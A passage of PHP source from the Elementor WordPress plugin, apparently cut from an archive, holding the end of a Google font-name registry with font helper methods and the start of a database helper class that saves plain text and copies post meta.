Syriac' => self::GOOGLE, 'Noto Sans Syriac Eastern' => self::GOOGLE, 'Noto Sans TC' => self::GOOGLE, 'Noto Sans Tagalog' => self::GOOGLE, 'Noto Sans Tagbanwa' => self::GOOGLE, 'Noto Sans Tai Le' => self::GOOGLE, 'Noto Sans Tai Tham' => self::GOOGLE, 'Noto Sans Tai Viet' => self::GOOGLE, 'Noto Sans Takri' => self::GOOGLE, 'Noto Sans Tamil' => self::GOOGLE, 'Noto Sans Tamil Supplement' => self::GOOGLE, 'Noto Sans Tangsa' => self::GOOGLE, 'Noto Sans Telugu' => self::GOOGLE, 'Noto Sans Thaana' => self::GOOGLE, 'Noto Sans Thai' => self::GOOGLE, 'Noto Sans Thai Looped' => self::GOOGLE, 'Noto Sans Tifinagh' => self::GOOGLE, 'Noto Sans Tirhuta' => self::GOOGLE, 'Noto Sans Ugaritic' => self::GOOGLE, 'Noto Sans Vai' => self::GOOGLE, 'Noto Sans Vithkuqi' => self::GOOGLE, 'Noto Sans Wancho' => self::GOOGLE, 'Noto Sans Warang Citi' => self::GOOGLE, 'Noto Sans Yi' => self::GOOGLE, 'Noto Sans Zanabazar Square' => self::GOOGLE, 'Noto Serif' => self::GOOGLE, 'Noto Serif Ahom' => self::GOOGLE, 'Noto Serif Armenian' => self::GOOGLE, 'Noto Serif Balinese' => self::GOOGLE, 'Noto Serif Bengali' => self::GOOGLE, 'Noto Serif Devanagari' => self::GOOGLE, 'Noto Serif Display' => self::GOOGLE, 'Noto Serif Dogra' => self::GOOGLE, 'Noto Serif Ethiopic' => self::GOOGLE, 'Noto Serif Georgian' => self::GOOGLE, 'Noto Serif Grantha' => self::GOOGLE, 'Noto Serif Gujarati' => self::GOOGLE, 'Noto Serif Gurmukhi' => self::GOOGLE, 'Noto Serif HK' => self::GOOGLE, 'Noto Serif Hebrew' => self::GOOGLE, 'Noto Serif JP' => self::GOOGLE, 'Noto Serif KR' => self::GOOGLE, 'Noto Serif Kannada' => self::GOOGLE, 'Noto Serif Khitan Small Script' => self::GOOGLE, 'Noto Serif Khmer' => self::GOOGLE, 'Noto Serif Khojki' => self::GOOGLE, 'Noto Serif Lao' => self::GOOGLE, 'Noto Serif Makasar' => self::GOOGLE, 'Noto Serif Malayalam' => self::GOOGLE, 'Noto Serif Myanmar' => self::GOOGLE, 'Noto Serif NP Hmong' => self::GOOGLE, 'Noto Serif Nyiakeng Puachue Hmong' => self::GOOGLE, 'Noto Serif Old Uyghur' => self::GOOGLE, 'Noto Serif Oriya' => self::GOOGLE, 'Noto Serif Ottoman Siyaq' => self::GOOGLE, 'Noto Serif SC' => self::GOOGLE, 'Noto Serif Sinhala' => self::GOOGLE, 'Noto Serif TC' => self::GOOGLE, 'Noto Serif Tamil' => self::GOOGLE, 'Noto Serif Tangut' => self::GOOGLE, 'Noto Serif Telugu' => self::GOOGLE, 'Noto Serif Thai' => self::GOOGLE, 'Noto Serif Tibetan' => self::GOOGLE, 'Noto Serif Toto' => self::GOOGLE, 'Noto Serif Vithkuqi' => self::GOOGLE, 'Noto Serif Yezidi' => self::GOOGLE, 'Noto Traditional Nushu' => self::GOOGLE, 'Noto Znamenny Musical Notation' => self::GOOGLE, 'Nova Cut' => self::GOOGLE, 'Nova Flat' => self::GOOGLE, 'Nova Mono' => self::GOOGLE, 'Nova Oval' => self::GOOGLE, 'Nova Round' => self::GOOGLE, 'Nova Script' => self::GOOGLE, 'Nova Slim' => self::GOOGLE, 'Nova Square' => self::GOOGLE, 'Numans' => self::GOOGLE, 'Nunito' => self::GOOGLE, 'Nunito Sans' => self::GOOGLE, 'Nuosu SIL' => self::GOOGLE, 'Odibee Sans' => self::GOOGLE, 'Odor Mean Chey' => self::GOOGLE, 'Offside' => self::GOOGLE, 'Oi' => self::GOOGLE, 'Ojuju' => self::GOOGLE, 'Old Standard TT' => self::GOOGLE, 'Oldenburg' => self::GOOGLE, 'Ole' => self::GOOGLE, 'Oleo Script' => self::GOOGLE, 'Oleo Script Swash Caps' => self::GOOGLE, 'Onest' => self::GOOGLE, 'Oooh Baby' => self::GOOGLE, 'Open Sans' => self::GOOGLE, 'Open Sans Hebrew' => self::EARLYACCESS, // Hack for Google Early Access. 'Open Sans Hebrew Condensed' => self::EARLYACCESS, // Hack for Google Early Access. 'Oranienbaum' => self::GOOGLE, 'Orbit' => self::GOOGLE, 'Orbitron' => self::GOOGLE, 'Oregano' => self::GOOGLE, 'Orelega One' => self::GOOGLE, 'Orienta' => self::GOOGLE, 'Original Surfer' => self::GOOGLE, 'Oswald' => self::GOOGLE, 'Outfit' => self::GOOGLE, 'Over the Rainbow' => self::GOOGLE, 'Overlock' => self::GOOGLE, 'Overlock SC' => self::GOOGLE, 'Overpass' => self::GOOGLE, 'Overpass Mono' => self::GOOGLE, 'Ovo' => self::GOOGLE, 'Oxanium' => self::GOOGLE, 'Oxygen' => self::GOOGLE, 'Oxygen Mono' => self::GOOGLE, 'PT Mono' => self::GOOGLE, 'PT Sans' => self::GOOGLE, 'PT Sans Caption' => self::GOOGLE, 'PT Sans Narrow' => self::GOOGLE, 'PT Serif' => self::GOOGLE, 'PT Serif Caption' => self::GOOGLE, 'Pacifico' => self::GOOGLE, 'Padauk' => self::GOOGLE, 'Padyakke Expanded One' => self::GOOGLE, 'Palanquin' => self::GOOGLE, 'Palanquin Dark' => self::GOOGLE, 'Palette Mosaic' => self::GOOGLE, 'Pangolin' => self::GOOGLE, 'Paprika' => self::GOOGLE, 'Parisienne' => self::GOOGLE, 'Passero One' => self::GOOGLE, 'Passion One' => self::GOOGLE, 'Passions Conflict' => self::GOOGLE, 'Pathway Extreme' => self::GOOGLE, 'Pathway Gothic One' => self::GOOGLE, 'Patrick Hand' => self::GOOGLE, 'Patrick Hand SC' => self::GOOGLE, 'Pattaya' => self::GOOGLE, 'Patua One' => self::GOOGLE, 'Pavanam' => self::GOOGLE, 'Paytone One' => self::GOOGLE, 'Peddana' => self::GOOGLE, 'Peralta' => self::GOOGLE, 'Permanent Marker' => self::GOOGLE, 'Petemoss' => self::GOOGLE, 'Petit Formal Script' => self::GOOGLE, 'Petrona' => self::GOOGLE, 'Philosopher' => self::GOOGLE, 'Phudu' => self::GOOGLE, 'Piazzolla' => self::GOOGLE, 'Piedra' => self::GOOGLE, 'Pinyon Script' => self::GOOGLE, 'Pirata One' => self::GOOGLE, 'Pixelify Sans' => self::GOOGLE, 'Plaster' => self::GOOGLE, 'Platypi' => self::GOOGLE, 'Play' => self::GOOGLE, 'Playball' => self::GOOGLE, 'Playfair' => self::GOOGLE, 'Playfair Display' => self::GOOGLE, 'Playfair Display SC' => self::GOOGLE, 'Playpen Sans' => self::GOOGLE, 'Plus Jakarta Sans' => self::GOOGLE, 'Podkova' => self::GOOGLE, 'Poetsen One' => self::GOOGLE, 'Poiret One' => self::GOOGLE, 'Poller One' => self::GOOGLE, 'Poltawski Nowy' => self::GOOGLE, 'Poly' => self::GOOGLE, 'Pompiere' => self::GOOGLE, 'Pontano Sans' => self::GOOGLE, 'Poor Story' => self::GOOGLE, 'Poppins' => self::GOOGLE, 'Port Lligat Sans' => self::GOOGLE, 'Port Lligat Slab' => self::GOOGLE, 'Potta One' => self::GOOGLE, 'Pragati Narrow' => self::GOOGLE, 'Praise' => self::GOOGLE, 'Prata' => self::GOOGLE, 'Preahvihear' => self::GOOGLE, 'Press Start 2P' => self::GOOGLE, 'Pridi' => self::GOOGLE, 'Princess Sofia' => self::GOOGLE, 'Prociono' => self::GOOGLE, 'Prompt' => self::GOOGLE, 'Prosto One' => self::GOOGLE, 'Protest Guerrilla' => self::GOOGLE, 'Protest Revolution' => self::GOOGLE, 'Protest Riot' => self::GOOGLE, 'Protest Strike' => self::GOOGLE, 'Proza Libre' => self::GOOGLE, 'Public Sans' => self::GOOGLE, 'Puppies Play' => self::GOOGLE, 'Puritan' => self::GOOGLE, 'Purple Purse' => self::GOOGLE, 'Qahiri' => self::GOOGLE, 'Quando' => self::GOOGLE, 'Quantico' => self::GOOGLE, 'Quattrocento' => self::GOOGLE, 'Quattrocento Sans' => self::GOOGLE, 'Questrial' => self::GOOGLE, 'Quicksand' => self::GOOGLE, 'Quintessential' => self::GOOGLE, 'Qwigley' => self::GOOGLE, 'Qwitcher Grypen' => self::GOOGLE, 'REM' => self::GOOGLE, 'Racing Sans One' => self::GOOGLE, 'Radio Canada' => self::GOOGLE, 'Radio Canada Big' => self::GOOGLE, 'Radley' => self::GOOGLE, 'Rajdhani' => self::GOOGLE, 'Rakkas' => self::GOOGLE, 'Raleway' => self::GOOGLE, 'Raleway Dots' => self::GOOGLE, 'Ramabhadra' => self::GOOGLE, 'Ramaraja' => self::GOOGLE, 'Rambla' => self::GOOGLE, 'Rammetto One' => self::GOOGLE, 'Rampart One' => self::GOOGLE, 'Ranchers' => self::GOOGLE, 'Rancho' => self::GOOGLE, 'Ranga' => self::GOOGLE, 'Rasa' => self::GOOGLE, 'Rationale' => self::GOOGLE, 'Ravi Prakash' => self::GOOGLE, 'Readex Pro' => self::GOOGLE, 'Recursive' => self::GOOGLE, 'Red Hat Display' => self::GOOGLE, 'Red Hat Mono' => self::GOOGLE, 'Red Hat Text' => self::GOOGLE, 'Red Rose' => self::GOOGLE, 'Redacted' => self::GOOGLE, 'Redacted Script' => self::GOOGLE, 'Reddit Mono' => self::GOOGLE, 'Reddit Sans' => self::GOOGLE, 'Reddit Sans Condensed' => self::GOOGLE, 'Redressed' => self::GOOGLE, 'Reem Kufi' => self::GOOGLE, 'Reem Kufi Fun' => self::GOOGLE, 'Reem Kufi Ink' => self::GOOGLE, 'Reenie Beanie' => self::GOOGLE, 'Reggae One' => self::GOOGLE, 'Rethink Sans' => self::GOOGLE, 'Revalia' => self::GOOGLE, 'Rhodium Libre' => self::GOOGLE, 'Ribeye' => self::GOOGLE, 'Ribeye Marrow' => self::GOOGLE, 'Righteous' => self::GOOGLE, 'Risque' => self::GOOGLE, 'Road Rage' => self::GOOGLE, 'Roboto' => self::GOOGLE, 'Roboto Condensed' => self::GOOGLE, 'Roboto Flex' => self::GOOGLE, 'Roboto Mono' => self::GOOGLE, 'Roboto Serif' => self::GOOGLE, 'Roboto Slab' => self::GOOGLE, 'Rochester' => self::GOOGLE, 'Rock 3D' => self::GOOGLE, 'Rock Salt' => self::GOOGLE, 'RocknRoll One' => self::GOOGLE, 'Rokkitt' => self::GOOGLE, 'Romanesco' => self::GOOGLE, 'Ropa Sans' => self::GOOGLE, 'Rosario' => self::GOOGLE, 'Rosarivo' => self::GOOGLE, 'Rouge Script' => self::GOOGLE, 'Rowdies' => self::GOOGLE, 'Rozha One' => self::GOOGLE, 'Rubik' => self::GOOGLE, 'Rubik 80s Fade' => self::GOOGLE, 'Rubik Beastly' => self::GOOGLE, 'Rubik Broken Fax' => self::GOOGLE, 'Rubik Bubbles' => self::GOOGLE, 'Rubik Burned' => self::GOOGLE, 'Rubik Dirt' => self::GOOGLE, 'Rubik Distressed' => self::GOOGLE, 'Rubik Doodle Shadow' => self::GOOGLE, 'Rubik Doodle Triangles' => self::GOOGLE, 'Rubik Gemstones' => self::GOOGLE, 'Rubik Glitch' => self::GOOGLE, 'Rubik Glitch Pop' => self::GOOGLE, 'Rubik Iso' => self::GOOGLE, 'Rubik Lines' => self::GOOGLE, 'Rubik Maps' => self::GOOGLE, 'Rubik Marker Hatch' => self::GOOGLE, 'Rubik Maze' => self::GOOGLE, 'Rubik Microbe' => self::GOOGLE, 'Rubik Mono One' => self::GOOGLE, 'Rubik Moonrocks' => self::GOOGLE, 'Rubik Pixels' => self::GOOGLE, 'Rubik Puddles' => self::GOOGLE, 'Rubik Scribble' => self::GOOGLE, 'Rubik Spray Paint' => self::GOOGLE, 'Rubik Storm' => self::GOOGLE, 'Rubik Vinyl' => self::GOOGLE, 'Rubik Wet Paint' => self::GOOGLE, 'Ruda' => self::GOOGLE, 'Rufina' => self::GOOGLE, 'Ruge Boogie' => self::GOOGLE, 'Ruluko' => self::GOOGLE, 'Rum Raisin' => self::GOOGLE, 'Ruslan Display' => self::GOOGLE, 'Russo One' => self::GOOGLE, 'Ruthie' => self::GOOGLE, 'Ruwudu' => self::GOOGLE, 'Rye' => self::GOOGLE, 'STIX Two Text' => self::GOOGLE, 'Sacramento' => self::GOOGLE, 'Sahitya' => self::GOOGLE, 'Sail' => self::GOOGLE, 'Saira' => self::GOOGLE, 'Saira Condensed' => self::GOOGLE, 'Saira Extra Condensed' => self::GOOGLE, 'Saira Semi Condensed' => self::GOOGLE, 'Saira Stencil One' => self::GOOGLE, 'Salsa' => self::GOOGLE, 'Sanchez' => self::GOOGLE, 'Sancreek' => self::GOOGLE, 'Sansita' => self::GOOGLE, 'Sansita Swashed' => self::GOOGLE, 'Sarabun' => self::GOOGLE, 'Sarala' => self::GOOGLE, 'Sarina' => self::GOOGLE, 'Sarpanch' => self::GOOGLE, 'Sassy Frass' => self::GOOGLE, 'Satisfy' => self::GOOGLE, 'Sawarabi Gothic' => self::GOOGLE, 'Sawarabi Mincho' => self::GOOGLE, 'Scada' => self::GOOGLE, 'Scheherazade New' => self::GOOGLE, 'Schibsted Grotesk' => self::GOOGLE, 'Schoolbell' => self::GOOGLE, 'Scope One' => self::GOOGLE, 'Seaweed Script' => self::GOOGLE, 'Secular One' => self::GOOGLE, 'Sedan' => self::GOOGLE, 'Sedan SC' => self::GOOGLE, 'Sedgwick Ave' => self::GOOGLE, 'Sedgwick Ave Display' => self::GOOGLE, 'Sen' => self::GOOGLE, 'Send Flowers' => self::GOOGLE, 'Sevillana' => self::GOOGLE, 'Seymour One' => self::GOOGLE, 'Shadows Into Light' => self::GOOGLE, 'Shadows Into Light Two' => self::GOOGLE, 'Shalimar' => self::GOOGLE, 'Shantell Sans' => self::GOOGLE, 'Shanti' => self::GOOGLE, 'Share' => self::GOOGLE, 'Share Tech' => self::GOOGLE, 'Share Tech Mono' => self::GOOGLE, 'Shippori Antique' => self::GOOGLE, 'Shippori Antique B1' => self::GOOGLE, 'Shippori Mincho' => self::GOOGLE, 'Shippori Mincho B1' => self::GOOGLE, 'Shizuru' => self::GOOGLE, 'Shojumaru' => self::GOOGLE, 'Short Stack' => self::GOOGLE, 'Shrikhand' => self::GOOGLE, 'Siemreap' => self::GOOGLE, 'Sigmar' => self::GOOGLE, 'Sigmar One' => self::GOOGLE, 'Signika' => self::GOOGLE, 'Signika Negative' => self::GOOGLE, 'Silkscreen' => self::GOOGLE, 'Simonetta' => self::GOOGLE, 'Single Day' => self::GOOGLE, 'Sintony' => self::GOOGLE, 'Sirin Stencil' => self::GOOGLE, 'Six Caps' => self::GOOGLE, 'Sixtyfour' => self::GOOGLE, 'Skranji' => self::GOOGLE, 'Slabo 13px' => self::GOOGLE, 'Slabo 27px' => self::GOOGLE, 'Slackey' => self::GOOGLE, 'Slackside One' => self::GOOGLE, 'Smokum' => self::GOOGLE, 'Smooch' => self::GOOGLE, 'Smooch Sans' => self::GOOGLE, 'Smythe' => self::GOOGLE, 'Sniglet' => self::GOOGLE, 'Snippet' => self::GOOGLE, 'Snowburst One' => self::GOOGLE, 'Sofadi One' => self::GOOGLE, 'Sofia' => self::GOOGLE, 'Sofia Sans' => self::GOOGLE, 'Sofia Sans Condensed' => self::GOOGLE, 'Sofia Sans Extra Condensed' => self::GOOGLE, 'Sofia Sans Semi Condensed' => self::GOOGLE, 'Solitreo' => self::GOOGLE, 'Solway' => self::GOOGLE, 'Sometype Mono' => self::GOOGLE, 'Song Myung' => self::GOOGLE, 'Sono' => self::GOOGLE, 'Sonsie One' => self::GOOGLE, 'Sora' => self::GOOGLE, 'Sorts Mill Goudy' => self::GOOGLE, 'Source Code Pro' => self::GOOGLE, 'Source Sans 3' => self::GOOGLE, 'Source Sans Pro' => self::GOOGLE, 'Source Serif 4' => self::GOOGLE, 'Source Serif Pro' => self::GOOGLE, 'Space Grotesk' => self::GOOGLE, 'Space Mono' => self::GOOGLE, 'Special Elite' => self::GOOGLE, 'Spectral' => self::GOOGLE, 'Spectral SC' => self::GOOGLE, 'Spicy Rice' => self::GOOGLE, 'Spinnaker' => self::GOOGLE, 'Spirax' => self::GOOGLE, 'Splash' => self::GOOGLE, 'Spline Sans' => self::GOOGLE, 'Spline Sans Mono' => self::GOOGLE, 'Squada One' => self::GOOGLE, 'Square Peg' => self::GOOGLE, 'Sree Krushnadevaraya' => self::GOOGLE, 'Sriracha' => self::GOOGLE, 'Srisakdi' => self::GOOGLE, 'Staatliches' => self::GOOGLE, 'Stalemate' => self::GOOGLE, 'Stalinist One' => self::GOOGLE, 'Stardos Stencil' => self::GOOGLE, 'Stick' => self::GOOGLE, 'Stick No Bills' => self::GOOGLE, 'Stint Ultra Condensed' => self::GOOGLE, 'Stint Ultra Expanded' => self::GOOGLE, 'Stoke' => self::GOOGLE, 'Strait' => self::GOOGLE, 'Style Script' => self::GOOGLE, 'Stylish' => self::GOOGLE, 'Sue Ellen Francisco' => self::GOOGLE, 'Suez One' => self::GOOGLE, 'Sulphur Point' => self::GOOGLE, 'Sumana' => self::GOOGLE, 'Sunflower' => self::GOOGLE, 'Sunshiney' => self::GOOGLE, 'Supermercado One' => self::GOOGLE, 'Sura' => self::GOOGLE, 'Suranna' => self::GOOGLE, 'Suravaram' => self::GOOGLE, 'Suwannaphum' => self::GOOGLE, 'Swanky and Moo Moo' => self::GOOGLE, 'Syncopate' => self::GOOGLE, 'Syne' => self::GOOGLE, 'Syne Mono' => self::GOOGLE, 'Syne Tactile' => self::GOOGLE, 'Tac One' => self::GOOGLE, 'Tai Heritage Pro' => self::GOOGLE, 'Tajawal' => self::GOOGLE, 'Tangerine' => self::GOOGLE, 'Tapestry' => self::GOOGLE, 'Taprom' => self::GOOGLE, 'Tauri' => self::GOOGLE, 'Taviraj' => self::GOOGLE, 'Teachers' => self::GOOGLE, 'Teko' => self::GOOGLE, 'Tektur' => self::GOOGLE, 'Telex' => self::GOOGLE, 'Tenali Ramakrishna' => self::GOOGLE, 'Tenor Sans' => self::GOOGLE, 'Text Me One' => self::GOOGLE, 'Texturina' => self::GOOGLE, 'Thasadith' => self::GOOGLE, 'The Girl Next Door' => self::GOOGLE, 'The Nautigal' => self::GOOGLE, 'Tienne' => self::GOOGLE, 'Tillana' => self::GOOGLE, 'Tilt Neon' => self::GOOGLE, 'Tilt Prism' => self::GOOGLE, 'Tilt Warp' => self::GOOGLE, 'Timmana' => self::GOOGLE, 'Tinos' => self::GOOGLE, 'Tiro Bangla' => self::GOOGLE, 'Tiro Devanagari Hindi' => self::GOOGLE, 'Tiro Devanagari Marathi' => self::GOOGLE, 'Tiro Devanagari Sanskrit' => self::GOOGLE, 'Tiro Gurmukhi' => self::GOOGLE, 'Tiro Kannada' => self::GOOGLE, 'Tiro Tamil' => self::GOOGLE, 'Tiro Telugu' => self::GOOGLE, 'Titan One' => self::GOOGLE, 'Titillium Web' => self::GOOGLE, 'Tomorrow' => self::GOOGLE, 'Tourney' => self::GOOGLE, 'Trade Winds' => self::GOOGLE, 'Train One' => self::GOOGLE, 'Trirong' => self::GOOGLE, 'Trispace' => self::GOOGLE, 'Trocchi' => self::GOOGLE, 'Trochut' => self::GOOGLE, 'Truculenta' => self::GOOGLE, 'Trykker' => self::GOOGLE, 'Tsukimi Rounded' => self::GOOGLE, 'Tulpen One' => self::GOOGLE, 'Turret Road' => self::GOOGLE, 'Twinkle Star' => self::GOOGLE, 'Ubuntu' => self::GOOGLE, 'Ubuntu Condensed' => self::GOOGLE, 'Ubuntu Mono' => self::GOOGLE, 'Ubuntu Sans' => self::GOOGLE, 'Ubuntu Sans Mono' => self::GOOGLE, 'Uchen' => self::GOOGLE, 'Ultra' => self::GOOGLE, 'Unbounded' => self::GOOGLE, 'Uncial Antiqua' => self::GOOGLE, 'Underdog' => self::GOOGLE, 'Unica One' => self::GOOGLE, 'UnifrakturCook' => self::GOOGLE, 'UnifrakturMaguntia' => self::GOOGLE, 'Unkempt' => self::GOOGLE, 'Unlock' => self::GOOGLE, 'Unna' => self::GOOGLE, 'Updock' => self::GOOGLE, 'Urbanist' => self::GOOGLE, 'VT323' => self::GOOGLE, 'Vampiro One' => self::GOOGLE, 'Varela' => self::GOOGLE, 'Varela Round' => self::GOOGLE, 'Varta' => self::GOOGLE, 'Vast Shadow' => self::GOOGLE, 'Vazirmatn' => self::GOOGLE, 'Vesper Libre' => self::GOOGLE, 'Viaoda Libre' => self::GOOGLE, 'Vibes' => self::GOOGLE, 'Vibur' => self::GOOGLE, 'Victor Mono' => self::GOOGLE, 'Vidaloka' => self::GOOGLE, 'Viga' => self::GOOGLE, 'Vina Sans' => self::GOOGLE, 'Voces' => self::GOOGLE, 'Volkhov' => self::GOOGLE, 'Vollkorn' => self::GOOGLE, 'Vollkorn SC' => self::GOOGLE, 'Voltaire' => self::GOOGLE, 'Vujahday Script' => self::GOOGLE, 'Waiting for the Sunrise' => self::GOOGLE, 'Wallpoet' => self::GOOGLE, 'Walter Turncoat' => self::GOOGLE, 'Warnes' => self::GOOGLE, 'Water Brush' => self::GOOGLE, 'Waterfall' => self::GOOGLE, 'Wavefont' => self::GOOGLE, 'Wellfleet' => self::GOOGLE, 'Wendy One' => self::GOOGLE, 'Whisper' => self::GOOGLE, 'WindSong' => self::GOOGLE, 'Wire One' => self::GOOGLE, 'Wix Madefor Display' => self::GOOGLE, 'Wix Madefor Text' => self::GOOGLE, 'Work Sans' => self::GOOGLE, 'Workbench' => self::GOOGLE, 'Xanh Mono' => self::GOOGLE, 'Yaldevi' => self::GOOGLE, 'Yanone Kaffeesatz' => self::GOOGLE, 'Yantramanav' => self::GOOGLE, 'Yarndings 12' => self::GOOGLE, 'Yarndings 12 Charted' => self::GOOGLE, 'Yarndings 20' => self::GOOGLE, 'Yarndings 20 Charted' => self::GOOGLE, 'Yatra One' => self::GOOGLE, 'Yellowtail' => self::GOOGLE, 'Yeon Sung' => self::GOOGLE, 'Yeseva One' => self::GOOGLE, 'Yesteryear' => self::GOOGLE, 'Yomogi' => self::GOOGLE, 'Young Serif' => self::GOOGLE, 'Yrsa' => self::GOOGLE, 'Ysabeau' => self::GOOGLE, 'Ysabeau Infant' => self::GOOGLE, 'Ysabeau Office' => self::GOOGLE, 'Ysabeau SC' => self::GOOGLE, 'Yuji Boku' => self::GOOGLE, 'Yuji Hentaigana Akari' => self::GOOGLE, 'Yuji Hentaigana Akebono' => self::GOOGLE, 'Yuji Mai' => self::GOOGLE, 'Yuji Syuku' => self::GOOGLE, 'Yusei Magic' => self::GOOGLE, 'ZCOOL KuaiLe' => self::GOOGLE, 'ZCOOL QingKe HuangYou' => self::GOOGLE, 'ZCOOL XiaoWei' => self::GOOGLE, 'Zen Antique' => self::GOOGLE, 'Zen Antique Soft' => self::GOOGLE, 'Zen Dots' => self::GOOGLE, 'Zen Kaku Gothic Antique' => self::GOOGLE, 'Zen Kaku Gothic New' => self::GOOGLE, 'Zen Kurenaido' => self::GOOGLE, 'Zen Loop' => self::GOOGLE, 'Zen Maru Gothic' => self::GOOGLE, 'Zen Old Mincho' => self::GOOGLE, 'Zen Tokyo Zoo' => self::GOOGLE, 'Zeyada' => self::GOOGLE, 'Zhi Mang Xing' => self::GOOGLE, 'Zilla Slab' => self::GOOGLE, 'Zilla Slab Highlight' => self::GOOGLE, ] ); } return $fonts; } /** * Get font type. * * Retrieve the font type for a given font. * * @since 1.0.0 * @access public * @static * * @param string $name Font name. * * @return string|false Font type, or false if font doesn't exist. */ public static function get_font_type( $name ) { $fonts = self::get_fonts(); if ( empty( $fonts[ $name ] ) ) { return false; } return $fonts[ $name ]; } /** * Get fonts by group. * * Retrieve all the fonts belong to specific group. * * @since 1.0.0 * @access public * @static * * @param array $groups Optional. Font group. Default is an empty array. * * @return array Font type, or false if font doesn't exist. */ public static function get_fonts_by_groups( $groups = [] ) { return array_filter( self::get_fonts(), function( $font ) use ( $groups ) { return in_array( $font, $groups ); } ); } public static function is_google_fonts_enabled() : bool { if ( null === static::$is_google_fonts_enabled ) { $default_value = '1'; // TODO: For future use, using for new installs. //$is_new_site = Upgrade_Manager::install_compare( '3.10.0', '>=' ); //$default_value = $is_new_site ? '0' : '1'; $option = get_option( 'elementor_google_font', $default_value ); static::$is_google_fonts_enabled = '1' === $option; } return static::$is_google_fonts_enabled; } public static function get_font_display_setting() { return get_option( 'elementor_font_display', 'auto' ); } public static function reset_local_cache() { static::$is_google_fonts_enabled = null; static::$font_groups = null; } } includes/db.php000064400000035350147206604650007470 0ustar00documents->get( $post_id )->get_elements_raw_data( null, true )` OR `Plugin::$instance->documents->get_doc_or_auto_save( $post_id )->get_elements_raw_data( null, true )` instead. * @access public * * @param int $post_id Post ID. * @param string $status Optional. Post status. Default is `publish`. * * @return array Editor data. */ public function get_builder( $post_id, $status = Document::STATUS_PUBLISH ) { Plugin::$instance->modules_manager ->get_modules( 'dev-tools' ) ->deprecation ->deprecated_function( __METHOD__, '3.1.0', '`Plugin::$instance->documents->get( $post_id )->get_elements_raw_data( null, true )` OR `Plugin::$instance->documents->get_doc_or_auto_save( $post_id )->get_elements_raw_data( null, true )`' ); if ( Document::STATUS_DRAFT === $status ) { $document = Plugin::$instance->documents->get_doc_or_auto_save( $post_id ); } else { $document = Plugin::$instance->documents->get( $post_id ); } if ( $document ) { $editor_data = $document->get_elements_raw_data( null, true ); } else { $editor_data = []; } return $editor_data; } /** * Get JSON meta. * * Retrieve post meta data, and return the JSON decoded data. * * @since 1.0.0 * @access protected * * @param int $post_id Post ID. * @param string $key The meta key to retrieve. * * @return array Decoded JSON data from post meta. */ protected function _get_json_meta( $post_id, $key ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0' ); $meta = get_post_meta( $post_id, $key, true ); if ( is_string( $meta ) && ! empty( $meta ) ) { $meta = json_decode( $meta, true ); } if ( empty( $meta ) ) { $meta = []; } return $meta; } /** * Is using Elementor. * * Set whether the page is using Elementor or not. * * @since 1.5.0 * @deprecated 3.1.0 Use `Plugin::$instance->documents->get( $post_id )->set_is_build_with_elementor( $is_elementor )` instead. * @access public * * @param int $post_id Post ID. * @param bool $is_elementor Optional. Whether the page is elementor page. * Default is true. */ public function set_is_elementor_page( $post_id, $is_elementor = true ) { Plugin::$instance->modules_manager ->get_modules( 'dev-tools' ) ->deprecation ->deprecated_function( __METHOD__, '3.1.0', 'Plugin::$instance->documents->get( $post_id )->set_is_build_with_elementor( $is_elementor )' ); $document = Plugin::$instance->documents->get( $post_id ); if ( ! $document ) { return; } $document->set_is_built_with_elementor( $is_elementor ); } /** * Render element plain content. * * When saving data in the editor, this method renders recursively the plain * content containing only the content and the HTML. No CSS data. * * @since 2.0.0 * @access private * * @param array $element_data Element data. */ private function render_element_plain_content( $element_data ) { if ( 'widget' === $element_data['elType'] ) { /** @var Widget_Base $widget */ $widget = Plugin::$instance->elements_manager->create_element_instance( $element_data ); if ( $widget ) { $widget->render_plain_content(); } } if ( ! empty( $element_data['elements'] ) ) { foreach ( $element_data['elements'] as $element ) { $this->render_element_plain_content( $element ); } } } /** * Save plain text. * * Retrieves the raw content, removes all kind of unwanted HTML tags and saves * the content as the `post_content` field in the database. * * @since 1.9.0 * @access public * * @param int $post_id Post ID. */ public function save_plain_text( $post_id ) { // Switch $dynamic_tags to parsing mode = remove. $dynamic_tags = Plugin::$instance->dynamic_tags; $parsing_mode = $dynamic_tags->get_parsing_mode(); $dynamic_tags->set_parsing_mode( Manager::MODE_REMOVE ); $plain_text = $this->get_plain_text( $post_id ); wp_update_post( [ 'ID' => $post_id, 'post_content' => $plain_text, ] ); // Restore parsing mode. $dynamic_tags->set_parsing_mode( $parsing_mode ); } /** * Iterate data. * * Accept any type of Elementor data and a callback function. The callback * function runs recursively for each element and his child elements. * * @since 1.0.0 * @access public * * @param array $data_container Any type of elementor data. * @param callable $callback A function to iterate data by. * @param array $args Array of args pointers for passing parameters in & out of the callback * * @return mixed Iterated data. */ public function iterate_data( $data_container, $callback, $args = [] ) { if ( isset( $data_container['elType'] ) ) { if ( ! empty( $data_container['elements'] ) ) { $data_container['elements'] = $this->iterate_data( $data_container['elements'], $callback, $args ); } return call_user_func( $callback, $data_container, $args ); } foreach ( $data_container as $element_key => $element_value ) { $element_data = $this->iterate_data( $data_container[ $element_key ], $callback, $args ); if ( null === $element_data ) { continue; } $data_container[ $element_key ] = $element_data; } return $data_container; } /** * Safely copy Elementor meta. * * Make sure the original page was built with Elementor and the post is not * auto-save. Only then copy elementor meta from one post to another using * `copy_elementor_meta()`. * * @since 1.9.2 * @access public * * @param int $from_post_id Original post ID. * @param int $to_post_id Target post ID. */ public function safe_copy_elementor_meta( $from_post_id, $to_post_id ) { // It's from WP-Admin & not from Elementor. if ( ! did_action( 'elementor/db/before_save' ) ) { $from_document = Plugin::$instance->documents->get( $from_post_id ); if ( ! $from_document || ! $from_document->is_built_with_elementor() ) { return; } // It's an exited Elementor auto-save if ( get_post_meta( $to_post_id, '_elementor_data', true ) ) { return; } } $this->copy_elementor_meta( $from_post_id, $to_post_id ); } /** * Copy Elementor meta. * * Duplicate the data from one post to another. * * Consider using `safe_copy_elementor_meta()` method instead. * * @since 1.1.0 * @access public * * @param int $from_post_id Original post ID. * @param int $to_post_id Target post ID. */ public function copy_elementor_meta( $from_post_id, $to_post_id ) { $from_post_meta = get_post_meta( $from_post_id ); $core_meta = [ '_wp_page_template', '_thumbnail_id', ]; foreach ( $from_post_meta as $meta_key => $values ) { // Copy only meta with the `_elementor` prefix if ( 0 === strpos( $meta_key, '_elementor' ) || in_array( $meta_key, $core_meta, true ) ) { $value = $values[0]; // The elementor JSON needs slashes before saving if ( '_elementor_data' === $meta_key ) { $value = wp_slash( $value ); } else { $value = maybe_unserialize( 